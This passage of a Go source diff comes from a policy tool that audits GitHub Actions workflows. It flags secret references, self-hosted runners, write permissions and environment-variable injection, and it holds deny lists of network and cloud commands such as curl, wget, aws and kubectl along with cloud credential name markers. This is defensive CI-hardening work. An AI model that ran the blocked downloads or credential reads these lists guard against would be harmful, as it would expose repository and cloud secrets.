%s", prefix, match[1]) + } + if containsProviderSDKMarker(value) { + findings.add("%s environment value contains provider SDK marker", prefix) + } + } + return patterns +} + +func secretReferences(node *yaml.Node) map[string]bool { + values := []string{} + scalars(node, &values) + secrets := make(map[string]bool) + for _, value := range values { + expressions, _ := githubExpressions(value) + for _, expression := range expressions { + expression = expressionIdentifiers(expression) + for _, match := range secretRefRE.FindAllStringSubmatch(expression, -1) { + name := match[1] + if name == "" { + name = match[2] + } + secrets[strings.ToUpper(name)] = true + } + } + } + return secrets +} + +func validateSecretReferences(rel, prefix string, secrets map[string]bool, referenced map[string]bool, findings *findingSet) { + for secret := range secrets { + key := rel + "\x00" + secret + referenced[key] = true + if knownCloudSecret(secret) { + findings.add("%s references known cloud secret %s", prefix, secret) + } else { + findings.add("%s public workflow references forbidden repository secret %s", prefix, secret) + } + } +} + +func validateInheritedSecrets(prefix string, secrets *yaml.Node, findings *findingSet) { + if secrets == nil { + return + } + if secrets.Kind == yaml.ScalarNode { + if strings.TrimSpace(secrets.Value) == "inherit" { + findings.add("%s inherits all job secrets", prefix) + } else { + findings.add("%s uses unsupported job secrets scalar", prefix) + } + return + } + if secrets.Kind != yaml.MappingNode { + findings.add("%s uses unsupported job secrets shape", prefix) + return + } + for index := 0; index+1 < len(secrets.Content); index += 2 { + if value := secrets.Content[index+1]; value.Kind == yaml.ScalarNode && strings.TrimSpace(value.Value) == "inherit" { + findings.add("%s maps inherited secret %s", prefix, secrets.Content[index].Value) + } + } +} + +func validateCredentialSelectors(prefix string, node *yaml.Node, findings *findingSet) { + values := []string{} + scalars(node, &values) + for _, value := range values { + expressions, complete := githubExpressions(value) + if !complete { + findings.add("%s contains an unterminated GitHub expression", prefix) + } + for _, expression := range expressions { + originalExpression := expression + expression = expressionIdentifiers(originalExpression) + if wholeSecretsRE.MatchString(expression) { + findings.add("%s uses forbidden whole secrets context", prefix) + } + for _, selector := range secretWildcardRE.FindAllString(expression, -1) { + findings.add("%s uses forbidden dynamic secret selector %s", prefix, selector) + } + for _, bounds := range secretIndexRE.FindAllStringIndex(expression, -1) { + selector := originalExpression[bounds[0]:bounds[1]] + if !literalSecretIndexRE.MatchString(selector) { + findings.add("%s uses forbidden dynamic secret selector %s", prefix, selector) + } + } + for _, match := range varsRefRE.FindAllStringSubmatch(expression, -1) { + name := match[1] + if name == "" { + name = match[2] + } + name = strings.ToUpper(name) + if knownCloudSecret(name) { + findings.add("%s references known cloud credential variable reference %s", prefix, name) + } + } + for _, bounds := range varsIndexRE.FindAllStringIndex(expression, -1) { + selector := originalExpression[bounds[0]:bounds[1]] + if !literalVarsIndexRE.MatchString(selector) { + findings.add("%s uses forbidden dynamic variable selector %s", prefix, selector) + } + } + } + } +} + +func checkRunnerSelector(prefix string, runsOn *yaml.Node, findings *findingSet) { + if runsOn == nil { + findings.add("%s does not declare a GitHub-hosted runner selector", prefix) + return + } + var selectors []string + switch runsOn.Kind { + case yaml.ScalarNode: + selectors = append(selectors, runsOn.Value) + case yaml.SequenceNode: + for _, item := range runsOn.Content { + if item.Kind != yaml.ScalarNode { + findings.add("%s uses a non-scalar runner selector", prefix) + continue + } + selectors = append(selectors, item.Value) + } + default: + findings.add("%s uses an unsupported runner selector shape", prefix) + return + } + if len(selectors) == 0 { + findings.add("%s does not declare a GitHub-hosted runner selector", prefix) + } + for _, selector := range selectors { + selector = strings.TrimSpace(selector) + if strings.Contains(selector, "${{") { + findings.add("%s uses forbidden dynamic runner selector %s", prefix, selector) + continue + } + if strings.EqualFold(selector, "self-hosted") { + findings.add("%s uses forbidden self-hosted runner", prefix) + continue + } + if !githubRunnerRE.MatchString(selector) { + findings.add("%s runner selector %s is not recognized as GitHub-hosted", prefix, selector) + } + } +} + +func checkJobRunnerSelector(prefix string, job *yaml.Node, findings *findingSet) { + if mappingValue(job, "uses") != nil { + findings.add("%s uses forbidden reusable workflow job", prefix) + return + } + checkRunnerSelector(prefix, mappingValue(job, "runs-on"), findings) +} + +func checkPermissions(prefix string, permissions *yaml.Node, forbidWrite bool, findings *findingSet) { + if permissions == nil { + findings.add("%s does not declare permissions and workflow has no explicit permissions to inherit", prefix) + return + } + if permissions.Kind == yaml.ScalarNode { + value := strings.TrimSpace(permissions.Value) + switch { + case value == "read-all": + return + case value == "write-all": + findings.add("%s uses forbidden permissions: write-all", prefix) + case strings.Contains(value, "${{"): + findings.add("%s uses forbidden dynamic permissions selector %s", prefix, value) + default: + findings.add("%s uses unsupported permissions scalar %s", prefix, value) + } + return + } + if permissions.Kind != yaml.MappingNode { + findings.add("%s uses unsupported permissions shape", prefix) + return + } + known := map[string]bool{ + "actions": true, "attestations": true, "checks": true, "contents": true, + "deployments": true, "discussions": true, "id-token": true, "issues": true, + "models": true, "packages": true, "pages": true, "pull-requests": true, + "security-events": true, "statuses": true, + } + for i := 0; i+1 < len(permissions.Content); i += 2 { + key := permissions.Content[i].Value + valueNode := permissions.Content[i+1] + if !known[key] { + findings.add("%s declares unsupported permission %s", prefix, key) + continue + } + if valueNode.Kind != yaml.ScalarNode { + findings.add("%s permission %s uses unsupported value shape", prefix, key) + continue + } + value := strings.TrimSpace(valueNode.Value) + if strings.Contains(value, "${{") { + findings.add("%s permission %s uses forbidden dynamic value %s", prefix, key, value) + continue + } + if value != "read" && value != "write" && value != "none" { + findings.add("%s permission %s uses unsupported value %s", prefix, key, value) + continue + } + if forbidWrite && value == "write" { + findings.add("%s grants write permission %s outside a job", prefix, key) + } + if key == "id-token" && value == "write" { + findings.add("%s grants forbidden id-token: write", prefix) + } + } +} + +func defaultsRunShell(node *yaml.Node) *yaml.Node { + defaults := mappingValue(node, "defaults") + run := mappingValue(defaults, "run") + return mappingValue(run, "shell") +} + +func checkShell(prefix string, shell *yaml.Node, findings *findingSet) { + if shell == nil { + return + } + if shell.Kind != yaml.ScalarNode || strings.Contains(shell.Value, "${{") { + findings.add("%s uses forbidden dynamic shell %s", prefix, shell.Value) + return + } + if strings.TrimSpace(shell.Value) != "bash" { + findings.add("%s uses forbidden custom shell %s", prefix, shell.Value) + } +} + +func knownCloudSecret(name string) bool { + name = strings.ToUpper(name) + spacesCredentials := map[string]bool{ + "SPACES_ACCESS_KEY_ID": true, + "SPACES_SECRET_ACCESS_KEY": true, + "DIGITALOCEAN_SPACES_ACCESS_KEY_ID": true, + "DIGITALOCEAN_SPACES_SECRET_ACCESS_KEY": true, + "DO_SPACES_ACCESS_KEY_ID": true, + "DO_SPACES_SECRET_ACCESS_KEY": true, + } + if spacesCredentials[name] { + return true + } + markers := []string{"DIGITALOCEAN", "AWS", "AZURE", "GCP", "GOOGLE_CLOUD", "CLOUDFLARE"} + for _, marker := range markers { + if strings.Contains(name, marker) { + return true + } + } + if strings.HasPrefix(name, "DO_") && regexp.MustCompile(`(TOKEN|KEY|SECRET|CREDENTIAL)`).MatchString(name) { + return true + } + return strings.Contains(name, "KUBE") && regexp.MustCompile(`(CONFIG|TOKEN|SECRET|CREDENTIAL)`).MatchString(name) +} + +func decodeJSONFile(filePath string, target any) error { + file, err := os.Open(filePath) + if err != nil { + return err + } + defer file.Close() + decoder := json.NewDecoder(file) + decoder.DisallowUnknownFields() + if err := decoder.Decode(target); err != nil { + return err + } + value := reflect.ValueOf(target) + if value.Kind() == reflect.Pointer && !value.IsNil() && value.Elem().Kind() == reflect.Slice && value.Elem().IsNil() { + return fmt.Errorf("top-level JSON array must not be null") + } + var extra any + if err := decoder.Decode(&extra); err != io.EOF { + if err == nil { + return fmt.Errorf("unexpected trailing JSON value") + } + return fmt.Errorf("unexpected trailing JSON data: %w", err) + } + return nil +} + +func statementDigest(stmt *syntax.Stmt) (string, error) { + var canonical bytes.Buffer + if err := syntax.NewPrinter().Print(&canonical, stmt); err != nil { + return "", err + } + digest := sha256.Sum256(canonical.Bytes()) + return fmt.Sprintf("%x", digest), nil +} + +func commandKey(workflowPath, command, statementSHA256, contextSHA256 string) string { + return workflowPath + "\x00" + command + "\x00" + statementSHA256 + "\x00" + contextSHA256 +} + +func actionKey(workflowPath, uses, nodeSHA256, contextSHA256 string) string { + return workflowPath + "\x00" + uses + "\x00" + nodeSHA256 + "\x00" + contextSHA256 +} + +func immutableActionReference(reference string) bool { + return regexp.MustCompile(`^[A-Za-z0-9_.-]+/[A-Za-z0-9_./-]+@[a-f0-9]{40}$`).MatchString(reference) || + regexp.MustCompile(`^docker://[A-Za-z0-9.-]+(/[A-Za-z0-9_.-]+)+@sha256:[a-f0-9]{64}$`).MatchString(reference) +} + +func matchAction(workflowPath, uses, nodeSHA256, contextSHA256 string, allowed map[string]actionEntry) (string, bool) { + key := actionKey(workflowPath, uses, nodeSHA256, contextSHA256) + _, ok := allowed[key] + return key, ok +} + +func assignmentOnlyCall(call *syntax.CallExpr) bool { + return call != nil && len(call.Args) == 0 && len(call.Assigns) > 0 +} + +func knownProviderCommand(command string, prefix []string) bool { + switch normalizedCommandName(command) { + case "go": + if len(prefix) == 0 { + return false + } + return prefix[0] == "run" || mutableGoInstall(prefix) + case "helm": + return len(prefix) == 0 || (prefix[0] != "lint" && prefix[0] != "template") + case "npm": + if len(prefix) == 0 { + return true + } + return prefix[0] != "ci" && prefix[0] != "run" && prefix[0] != "test" + } + return categoricallyUnallowlistableCommandName(command) +} + +func mutableGoInstall(argv []string) bool { + if len(argv) < 2 || argv[0] != "install" { + return false + } + for _, argument := range argv[1:] { + at := strings.LastIndex(argument, "@") + if at >= 0 && !exactGoVersionRE.MatchString(argument[at+1:]) { + return true + } + } + return false +} + +func categoricallyUnallowlistableCommandName(command string) bool { + forbidden := map[string]bool{ + "ansible": true, "aws": true, "az": true, "curl": true, + "builtin": true, "doctl": true, "docker": true, "gcloud": true, + "eval": true, "http": true, "https": true, "kubectl": true, "mc": true, + "node": true, "npx": true, "perl": true, + "php": true, "powershell": true, "pulumi": true, "pwsh": true, + "python": true, "python3": true, "rclone": true, "ruby": true, + "s3cmd": true, "terraform": true, "tofu": true, "wget": true, + } + if forbidden[normalizedCommandName(command)] { + return true + } + return false +} + +func normalizedCommandName(command string) string { + return strings.ToLower(path.Base(strings.ReplaceAll(command, `\`, ""))) +} + +func pathEscapes(rel string) bool { + return rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) +} + +func literalParts(parts []syntax.WordPart, out *strings.Builder) bool { + for _, part := range parts { + switch part := part.(type) { + case *syntax.Lit: + out.WriteString(part.Value) + case *syntax.SglQuoted: + out.WriteString(part.Value) + case *syntax.DblQuoted: + if !literalParts(part.Parts, out) { + return false + } + default: + return false + } + } + return true +} + +func literalWord(word *syntax.Word) (string, bool) { + if word == nil { + return "", false + } + var out strings.Builder + if !literalParts(word.Parts, &out) { + return "", false + } + return out.String(), true +} + +func exactParameterParts(parts []syntax.WordPart) (string, bool) { + if len(parts) != 1 { + return "", false + } + switch part := parts[0].(type) { + case *syntax.ParamExp: + if part.Param == nil || part.Excl || part.Length || part.Width || part.IsSet || part.Index != nil || part.Slice != nil || part.Repl != nil || part.Exp != nil || part.Names != 0 || len(part.Modifiers) != 0 { + return "", false + } + return part.Param.Value, true + case *syntax.DblQuoted: + return exactParameterParts(part.Parts) + default: + return "", false + } +} + +func exactParameterWord(word *syntax.Word) (string, bool) { + if word == nil { + return "", false + } + return exactParameterParts(word.Parts) +} + +func skipWrapperOptions(args []*syntax.Word, index int, wrapper string) (int, bool) { + for index < len(args) { + value, literal := literalWord(args[index]) + if !literal { + return index, false + } + if value == "--" { + return index + 1, true + } + if wrapper == "env" && envAssignmentRE.MatchString(value) { + index++ + continue + } + if !strings.HasPrefix(value, "-") || value == "-" { + return index, true + } + // Wrapper options can consume or embed command words. Reject them + // instead of guessing where execution begins. + return index, false + } + return index, true +} + +func resolvedProgram(call *syntax.CallExpr) (*syntax.Word, []*syntax.Word, bool) { + args := call.Args + index := 0 + for index < len(args) { + value, literal := literalWord(args[index]) + if !literal || strings.Contains(value, "__GITHUB_EXPRESSION_") { + return args[index], nil, false + } + base := path.Base(value) + if base == "sudo" { + return args[index], nil, false + } + if base != "command" && base != "exec" && base != "env" { + return args[index], args[index+1:], true + } + index++ + var ok bool + index, ok = skipWrapperOptions(args, index, base) + if !ok { + if index < len(args) { + return args[index], nil, false + } + return nil, nil, false + } + } + return nil, nil, true +} + +func resolvedWorkflowCommand(call *syntax.CallExpr) (*syntax.Word, []*syntax.Word, bool) { + program, args, resolved := resolvedProgram(call) + if !resolved || program == nil { + return program, args, resolved + } + value, literal := literalWord(program) + if !literal { + return program, nil, false + } + base := path.Base(value) + if base != "bash" && base != "sh" && base != "source" && base != "." { + return program, args, true + } + index := 0 + for index < len(args) { + argument, ok := literalWord(args[index]) + if !ok { + return args[index], nil, false + } + if argument == "--" { + index++ + break + } + if !strings.HasPrefix(argument, "-") || argument == "-" { + break + } + // Shell options such as -c can execute arbitrary text and are never + // treated as a local-script invocation. + return args[index], nil, false + } + if index >= len(args) { + return nil, nil, false + } + return args[index], args[index+1:], true +} + +func directCall(stmt *syntax.Stmt) (*syntax.CallExpr, bool) { + if stmt == nil || stmt.Negated || stmt.Background || len(stmt.Redirs) != 0 { + return nil, false + } + call, ok := stmt.Cmd.(*syntax.CallExpr) + return call, ok && len(call.Assigns) == 0 +} + +func pureRejectionGuard(file *syntax.File, requiredPatterns map[string]string) bool { + if file == nil || len(file.Stmts) != 1 { + return false + } + clause, ok := file.Stmts[0].Cmd.(*syntax.IfClause) + if !ok || clause.Else != nil || len(clause.Cond) != 1 || len(clause.Then) == 0 { + return false + } + condition, ok := directCall(clause.Cond[0]) + if !ok || len(condition.Args) < 3 { + return false + } + tool, literal := literalWord(condition.Args[0]) + if !literal || !map[string]bool{"rg": true, "grep": true, "egrep": true, "fgrep": true}[path.Base(tool)] { + return false + } + patternIndex := 1 + for patternIndex < len(condition.Args) { + value, ok := literalWord(condition.Args[patternIndex]) + if !ok || !strings.HasPrefix(value, "-") || value == "-" { + break + } + patternIndex++ + } + if patternIndex >= len(condition.Args)-1 { + return false + } + if len(requiredPatterns) > 0 { + name, ok := exactParameterWord(condition.Args[patternIndex]) + if !ok { + return false + } + if _, ok := requiredPatterns[name]; !ok || len(requiredPatterns) != 1 { + return false + } + } else if _, ok := literalWord(condition.Args[patternIndex]); !ok { + return false + } + for _, argument := range condition.Args[patternIndex+1:] { + if _, ok := literalWord(argument); !ok { + return false + } + } + failed := false + for _, stmt := range clause.Then { + call, ok := directCall(stmt) + if !ok || len(call.Args) == 0 { + return false + } + command, ok := literalWord(call.Args[0]) + if !ok { + return false + } + switch path.Base(command) { + case "echo", "printf": + for _, argument := range call.Args[1:] { + if _, ok := literalWord(argument); !ok { + return false + } + } + case "false": + if len(call.Args) != 1 { + return false + } + failed = true + case "exit": + if len(call.Args) != 2 { + return false + } + code, ok := literalWord(call.Args[1]) + if !ok || code == "0" { + return false + } + failed = true + default: + return false + } + } + return failed +} + +type shellAnalysis struct { + providerAuthority bool + hasIntegrationTag bool + hasProviderSDK bool + namedLive bool +} + +func inspectStatementGuards(prefix string, stmt *syntax.Stmt, findings *findingSet) { + dangerousName := func(name string) bool { + return executionAffectingEnv(name) + } + syntax.Walk(stmt, func(node syntax.Node) bool { + switch node := node.(type) { + case *syntax.Assign: + if node.Name == nil { + return true + } + name := node.Name.Value + value, literal := literalWord(node.Value) + if dangerousName(name) && (node.Append || node.Index != nil || !safeExecutionEnvironmentAssignment(name, value, literal)) { + findings.add("%s assigns forbidden execution environment variable %s", prefix, name) + } + case *syntax.CallExpr: + for _, argument := range node.Args { + if strings.HasPrefix(strings.ToUpper(leadingLiteralWord(argument)), "BASH_FUNC_") { + findings.add("%s passes forbidden BASH_FUNC_ environment assignment in command arguments", prefix) + continue + } + name, _, _, assignment := environmentWordAssignment(argument) + if assignment && strings.HasPrefix(strings.ToUpper(name), "BASH_FUNC_") { + findings.add("%s assigns forbidden execution environment variable %s in command arguments", prefix, name) + } + } + if len(node.Args) == 0 { + return true + } + index := 0 + for index < len(node.Args) { + wrapper, literal := literalWord(node.Args[index]) + if !literal { + break + } + base := path.Base(wrapper) + if base == "command" || base == "exec" { + index++ + if index < len(node.Args) { + if separator, ok := literalWord(node.Args[index]); ok && separator == "--" { + index++ + } + } + continue + } + if base != "env" { + break + } + index++ + for index < len(node.Args) { + value, literal := literalWord(node.Args[index]) + if literal && value == "--" { + index++ + continue + } + name, assignmentValue, assignmentLiteral, assignment := environmentWordAssignment(node.Args[index]) + if !assignment { + break + } + if dangerousName(name) && !safeExecutionEnvironmentAssignment(name, assignmentValue, assignmentLiteral) { + findings.add("%s assigns forbidden execution environment variable %s through env", prefix, name) + } + index++ + } + // Continue if env itself wraps another reviewed wrapper. + } + case *syntax.Redirect: + name, parameter := exactParameterWord(node.Word) + if parameter { + name = strings.ToUpper(name) + } + if literal, ok := literalWord(node.Word); ok { + upper := strings.ToUpper(literal) + if strings.Contains(upper, "GITHUB_ENV") { + name = "GITHUB_ENV" + } else if strings.Contains(upper, "GITHUB_PATH") { + name = "GITHUB_PATH" + } + } + syntax.Walk(node.Word, func(part syntax.Node) bool { + if expansion, ok := part.(*syntax.ParamExp); ok && expansion.Param != nil { + candidate := strings.ToUpper(expansion.Param.Value) + if candidate == "GITHUB_ENV" || candidate == "GITHUB_PATH" { + name = candidate + } + } + return true + }) + if name == "GITHUB_ENV" || name == "GITHUB_PATH" { + findings.add("%s redirects to forbidden GitHub command file %s", prefix, name) + } + } + return true + }) +} + +func safeExecutionEnvironmentAssignment(name, value string, literal bool) bool { + if name == "NODE_AUTH_TOKEN" { + return value == "${{ github.token }}" + } + if !literal { + return false + } + switch name { + case "GOWORK": + return value == "off" + case "GIT_ASKPASS": + return value == "/bin/false" + case "GIT_CONFIG_GLOBAL": + return value == "/dev/null" + case "GIT_CONFIG_NOSYSTEM": + return value == "1" + case "GIT_TERMINAL_PROMPT": + return value == "0" + default: + return false + } +} + +func environmentWordAssignment(word *syntax.Word) (name, value string, literal, assignment bool) { + if word == nil || len(word.Parts) == 0 { + return "", "", false, false + } + whole, literal := literalWord(word) + encodedBashFunction := regexp.MustCompile(`(?i)^BASH_FUNC_[^=]*%%=`).MatchString(whole) + if literal && (envAssignmentRE.MatchString(whole) || encodedBashFunction) { + parts := strings.SplitN(whole, "=", 2) + return parts[0], parts[1], true, true + } + prefix := leadingLiteralWord(word) + separator := strings.IndexByte(prefix, '=') + if separator <= 0 || !envAssignmentRE.MatchString(prefix) { + return "", "", false, false + } + return prefix[:separator], "", false, true +} + +func leadingLiteralWord(word *syntax.Word) string { + if word == nil || len(word.Parts) == 0 { + return "" + } + prefix := "" + switch first := word.Parts[0].(type) { + case *syntax.Lit: + prefix = first.Value + case *syntax.DblQuoted: + for _, part := range first.Parts { + literalPart, ok := part.(*syntax.Lit) + if !ok { + break + } + prefix += literalPart.Value + } + } + return prefix +} + +func inspectShell(prefix, workflowPath, contextSHA256, source string, file *syntax.File, pureGuard bool, repoRoot string, executables map[string]executableEntry, executableReferenced map[string]bool, commands map[string]commandEntry, commandReferenced map[string]bool, findings *findingSet) shellAnalysis { + analysis := shellAnalysis{ + hasIntegrationTag: integrationRE.MatchString(source), + hasProviderSDK: containsProviderSDKMarker(source), + namedLive: namedLiveRE.MatchString(source), + } + if analysis.namedLive { + analysis.providerAuthority = true + findings.add("%s invokes forbidden named live test", prefix) + } + if !pureGuard { + if match := providerAPIRE.FindStringSubmatch(source); match != nil { + analysis.providerAuthority = true + findings.add("%s executes forbidden fixed provider API %s", prefix, match[1]) + } + } + for _, stmt := range file.Stmts { + inspectStatementGuards(prefix, stmt, findings) + statementSHA256, err := statementDigest(stmt) + if err != nil { + findings.add("%s cannot canonicalize shell statement: %v", prefix, err) + continue + } + hasAuthoritySubject := false + syntax.Walk(stmt, func(node syntax.Node) bool { + call, ok := node.(*syntax.CallExpr) + if !ok { + return true + } + if assignmentOnlyCall(call) { + hasAuthoritySubject = true + key := commandKey(workflowPath, "$assignment", statementSHA256, contextSHA256) + if _, ok := commands[key]; !ok { + findings.add("%s executes unreviewed standalone assignment (sha256:%s context:%s)", prefix, statementSHA256, contextSHA256) + } else { + commandReferenced[key] = true + } + } + if len(call.Args) == 0 { + return true + } + hasAuthoritySubject = true + commandWord, commandWords, resolved := resolvedWorkflowCommand(call) + command, literal := literalWord(commandWord) + if commandWord == nil || !resolved || !literal || strings.Contains(command, "__GITHUB_EXPRESSION_") { + findings.add("%s uses forbidden dynamic command execution", prefix) + return true + } + base := normalizedCommandName(command) + if map[string]bool{"doctl": true, "gcloud": true, "az": true, "aws": true}[base] { + analysis.providerAuthority = true + findings.add("%s executes forbidden provider authority: executable provider CLI %s", prefix, base) + } + argv := make([]string, 0, len(commandWords)) + for _, word := range commandWords { + value, ok := literalWord(word) + if !ok || strings.Contains(value, "__GITHUB_EXPRESSION_") { + argv = append(argv, "__DYNAMIC_ARGUMENT__") + continue + } + argv = append(argv, value) + } + if knownProviderCommand(base, argv) { + findings.add("%s executes categorically forbidden command %s with argv %q", prefix, base, argv) + return true + } + if strings.HasPrefix(command, "./") || strings.HasPrefix(command, "../") || filepath.IsAbs(command) { + candidate := command + if !filepath.IsAbs(candidate) { + candidate = filepath.Join(repoRoot, candidate) + } + abs, err := filepath.Abs(candidate) + if err != nil { + findings.add("%s cannot resolve workflow executable path %s", prefix, command) + return true + } + lexicalRel, err := filepath.Rel(repoRoot, abs) + if err != nil || pathEscapes(lexicalRel) { + findings.add("%s workflow executable path %s is outside repository", prefix, command) + return true + } + scriptRel := filepath.ToSlash(lexicalRel) + executableKey := workflowPath + "\x00" + scriptRel + if _, ok := executables[executableKey]; !ok { + findings.add("%s invokes unallowlisted executable script %s", prefix, command) + return true + } + executableReferenced[executableKey] = true + key := commandKey(workflowPath, base, statementSHA256, contextSHA256) + if _, ok := commands[key]; !ok { + findings.add("%s executes unreviewed exact statement containing local script %s (sha256:%s context:%s)", prefix, scriptRel, statementSHA256, contextSHA256) + } else { + commandReferenced[key] = true + } + return true + } + key := commandKey(workflowPath, base, statementSHA256, contextSHA256) + if _, ok := commands[key]; !ok { + findings.add("%s executes unreviewed exact statement containing %s (sha256:%s context:%s)", prefix, base, statementSHA256, contextSHA256) + } else { + commandReferenced[key] = true + } + return true + }) + if !hasAuthoritySubject { + key := commandKey(workflowPath, "$statement", statementSHA256, contextSHA256) + if _, ok := commands[key]; !ok { + findings.add("%s executes unreviewed exact shell statement (sha256:%s context:%s)", prefix, statementSHA256, contextSHA256) + } else { + commandReferenced[key] = true + } + } + } + return analysis +} + +func absolutePathFromRoot(root, workflowPath string) (string, error) { + if !filepath.IsAbs(workflowPath) { + workflowPath = filepath.Join(root, workflowPath) + } + return filepath.Abs(workflowPath) +} + +func normalizePath(repoRoot, resolvedRepoRoot, workflowPath string) (string, error) { + abs, err := absolutePathFromRoot(repoRoot, workflowPath) + if err != nil { + return "", err + } + rel, err := filepath.Rel(repoRoot, abs) + if err != nil { + return "", err + } + if pathEscapes(rel) { + return "", fmt.Errorf("workflow path %s is outside repository", workflowPath) + } + resolved, err := filepath.EvalSymlinks(abs) + if err != nil { + return "", fmt.Errorf("resolve workflow path %s: %w", workflowPath, err) + } + resolvedRel, err := filepath.Rel(resolvedRepoRoot, resolved) + if err != nil { + return "", err + } + if pathEscapes(resolvedRel) { + return "", fmt.Errorf("workflow path %s resolves outside repository", workflowPath) + } + return filepath.ToSlash(rel), nil +} + +func main() { + var repoArg, scanArg, allowPath, executablePath, commandPath, actionPath, presencePath string + bootstrapAuthority := false + customPolicyInputs := false + workflowArgs := []string{} + args := os.Args[1:] + for len(args) > 0 { + switch args[0] { + case "--repo": + if len(args) < 2 { + fmt.Fprintln(os.Stderr, "--repo requires a path") + os.Exit(2) + } + repoArg = args[1] + args = args[2:] + case "--scan-root": + if len(args) < 2 { + fmt.Fprintln(os.Stderr, "--scan-root requires a path") + os.Exit(2) + } + scanArg = args[1] + args = args[2:] + case "--allowlist": + if len(args) < 2 { + fmt.Fprintln(os.Stderr, "--allowlist requires a path") + os.Exit(2) + } + allowPath = args[1] + customPolicyInputs = true + args = args[2:] + case "--executable-allowlist": + if len(args) < 2 { + fmt.Fprintln(os.Stderr, "--executable-allowlist requires a path") + os.Exit(2) + } + executablePath = args[1] + customPolicyInputs = true + args = args[2:] + case "--command-allowlist": + if len(args) < 2 { + fmt.Fprintln(os.Stderr, "--command-allowlist requires a path") + os.Exit(2) + } + commandPath = args[1] + customPolicyInputs = true + args = args[2:] + case "--action-allowlist": + if len(args) < 2 { + fmt.Fprintln(os.Stderr, "--action-allowlist requires a path") + os.Exit(2) + } + actionPath = args[1] + customPolicyInputs = true + args = args[2:] + case "--presence-allowlist": + if len(args) < 2 { + fmt.Fprintln(os.Stderr, "--presence-allowlist requires a path") + os.Exit(2) + } + presencePath = args[1] + customPolicyInputs = true + args = args[2:] + case "--bootstrap-authority": + bootstrapAuthority = true + args = args[1:] + case "--": + workflowArgs = append(workflowArgs, args[1:]...) + args = nil + default: + if strings.HasPrefix(args[0], "-") { + fmt.Fprintf(os.Stderr, "unknown option: %s\n", args[0]) + os.Exit(2) + } + workflowArgs = append(workflowArgs, args[0]) + args = args[1:] + } + } + if repoArg == "" { + fmt.Fprintln(os.Stderr, "usage: policytool --repo TRUST_ROOT [--scan-root CANDIDATE_ROOT] [--bootstrap-authority] [--allowlist FILE] [--executable-allowlist FILE] [--command-allowlist FILE] [--action-allowlist FILE] [--presence-allowlist FILE] [WORKFLOW...]") + os.Exit(2) + } + repoRoot, err := filepath.Abs(repoArg) + if err != nil { + fmt.Fprintln(os.Stderr, err) + os.Exit(2) + } + resolvedRepoRoot, err := filepath.EvalSymlinks(repoRoot) + if err != nil { + fmt.Fprintf(os.Stderr, "resolve repository root: %v\n", err) + os.Exit(2) + } + if scanArg == "" { + scanArg = repoRoot + } + scanRoot, err := filepath.Abs(scanArg) + if err != nil { + fmt.Fprintln(os.Stderr, err) + os.Exit(2) + } + resolvedScanRoot, err := filepath.EvalSymlinks(scanRoot) + if err != nil { + fmt.Fprintf(os.Stderr, "resolve scan root: %v\n", err) + os.Exit(2) + } + if bootstrapAuthority && customPolicyInputs { + fmt.Fprintln(os.Stderr, "--bootstrap-authority cannot be combined with custom policy inputs") + os.Exit(2) + } + if !customPolicyInputs { + authorityFindings, authorityErr := validateRepositoryAuthority(repoRoot, scanRoot, bootstrapAuthority) + if authorityErr != nil { + fmt.Fprintf(os.Stderr, "validate repository authority: %v\n", authorityErr) + os.Exit(1) + } + if len(authorityFindings) > 0 { + for _, finding := range authorityFindings { + fmt.Fprintln(os.Stderr, "policy:", finding) + } + os.Exit(1) + } + } + if allowPath == "" { + allowPath = filepath.Join(repoRoot, ".github", "public-workflow-secret-allowlist.json") + } + if executablePath == "" { + executablePath = filepath.Join(repoRoot, ".github", "public-workflow-executable-allowlist.json") + } + if commandPath == "" { + commandPath = filepath.Join(repoRoot, ".github", "public-workflow-command-allowlist.json") + } + if actionPath == "" { + actionPath = filepath.Join(repoRoot, ".github", "public-workflow-action-allowlist.json") + } + if presencePath == "" { + presencePath = filepath.Join(repoRoot, ".github", "public-workflow-presence-allowlist.json") + } + if len(workflowArgs) == 0 { + for _, pattern := range []string{"*.yml", "*.yaml"} { + matches, globErr := filepath.Glob(filepath.Join(scanRoot, ".github", "workflows", pattern)) + if globErr != nil { + fmt.Fprintf(os.Stderr, "glob workflows: %v\n", globErr) + os.Exit(1) + } + workflowArgs = append(workflowArgs, matches...) + } + } + workflowContexts := make(map[string]string) + for _, workflowPath := range workflowArgs { + rel, pathErr := normalizePath(scanRoot, resolvedScanRoot, workflowPath) + if pathErr != nil { + continue + } + abs, pathErr := absolutePathFromRoot(scanRoot, workflowPath) + if pathErr != nil { + continue + } + data, readErr := os.ReadFile(abs) + if readErr != nil { + continue + } + var doc yaml.Node + if yaml.Unmarshal(data, &doc) == nil && len(doc.Content) > 0 && doc.Content[0].Kind == yaml.MappingNode { + workflowContexts[rel] = authorizationContextDigest(doc.Content[0], nil, nil) + } + } + + var allowlist []allowEntry + if err := decodeJSONFile(allowPath, &allowlist); err != nil { + fmt.Fprintf(os.Stderr, "read allowlist: %v\n", err) + os.Exit(1) + } + + findings := &findingSet{} + var executableList []executableEntry + if err := decodeJSONFile(executablePath, &executableList); err != nil { + fmt.Fprintf(os.Stderr, "read executable allowlist: %v\n", err) + os.Exit(1) + } + var commandList []commandEntry + if err := decodeJSONFile(commandPath, &commandList); err != nil { + fmt.Fprintf(os.Stderr, "read command allowlist: %v\n", err) + os.Exit(1) + } + var actionList []actionEntry + if err := decodeJSONFile(actionPath, &actionList); err != nil { + fmt.Fprintf(os.Stderr, "read action allowlist: %v\n", err) + os.Exit(1) + } + var groups []trustGroup + if err := decodeJSONFile(presencePath, &groups); err != nil { + fmt.Fprintf(os.Stderr, "read presence allowlist: %v\n", err) + os.Exit(1) + } + presentTrustPaths := make(map[string]bool) + for _, group := range groups { + candidatePath := filepath.Join(scanRoot, filepath.FromSlash(group.Path)) + if _, pathErr := normalizePath(scanRoot, resolvedScanRoot, candidatePath); pathErr != nil { + continue + } + if _, statErr := os.Lstat(candidatePath); statErr == nil { + presentTrustPaths[group.Path] = true + } else if !os.IsNotExist(statErr) { + findings.add("inspect trust group path %s: %v", group.Path, statErr) + } + } + selectedGroups, groupFindings := selectTrustGroups(groups, workflowContexts, presentTrustPaths) + findings.items = append(findings.items, groupFindings...) + if len(workflowArgs) == 0 && len(groups) == 0 { + findings.add("no public workflow files found and no trusted absence is declared") + } + declaredGroups := make(map[string]bool) + for _, group := range groups { + if group.Presence == "present" { + declaredGroups[group.Path+"\x00"+group.ContextSHA256+"\x00"+group.State] = true + } + } + executables := make(map[string]executableEntry) + seenExecutables := make(map[string]bool) + 